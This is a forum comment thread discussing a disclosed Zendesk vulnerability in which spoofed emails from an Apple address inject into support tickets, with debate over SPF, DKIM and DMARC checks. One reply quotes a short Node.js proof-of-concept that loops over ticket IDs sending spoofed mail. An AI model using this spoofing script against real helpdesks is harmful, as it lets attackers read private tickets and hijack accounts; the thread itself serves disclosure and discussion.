Comment by johnmaguire

4 months ago

Read the repro steps again:

> Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket

It's a clever attack.

10 comments

johnmaguire

Thorrez 4 months ago

I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com :

  const sendmail = require('sendmail')();
  
  // Assuming the ticket you created in step #2 was assigned a ticket ID of #453 
  // verification email landed somewhere near there
  const range = [448, 457];
  for (let i = range[0]; i < range[1]; i++) {
      // Send spoofed emails from Apple to Zendesk
      sendmail({
          from: 'appleid@id.apple.com',
          to: `support+id${i}@company.com`,
          cc: 'daniel@wearehackerone.com',
          subject: '',
          html: 'comment body',
      }, function (err, reply) {
          console.log(err && err.stack)
          console.dir(reply)
      });
  };

johnmaguire 4 months ago
This is exactly my point: if Apple has SPF/DKIM/DMARC configured correctly, then Zendesk should be validating the email sender. That they didn't is technically an SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a customer misconfiguration issue.
- fweimer 4 months ago
  
  You don't want to too strict technical validations on your helpdesk contact points, though. It's supposed to be reachable when things are broken. So it's not as easy as just reconfiguring incoming mail relays. You might need separate domains for extended validation, or a reliable (!) way to relay authentication results to those mail endpoints that need it. Come to think of it, presenting email validation results to helpdesk staff might be a good idea in general.
- tryauuum 4 months ago
  
  if someone's reading this thread: yes, apple does have dmarc / spf
  $ dig id.apple.com TXT +short "v=spf1 include:_spf-txn.apple.com include:_spf-mkt.apple.com include:_spf.apple.com include:icloud.com ~all" $ dig _dmarc.id.apple.com TXT +short "v=DMARC1; p=reject; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"
  
  5 replies →

tryauuum 4 months ago

I wonder how redirects from support@company.com to zendesk work? if it's via MX records pointing to zendesk that it's zendesk's fault for not checking DMARC If it's another type of redirect then yes, you can blame customers for not verifying DMARC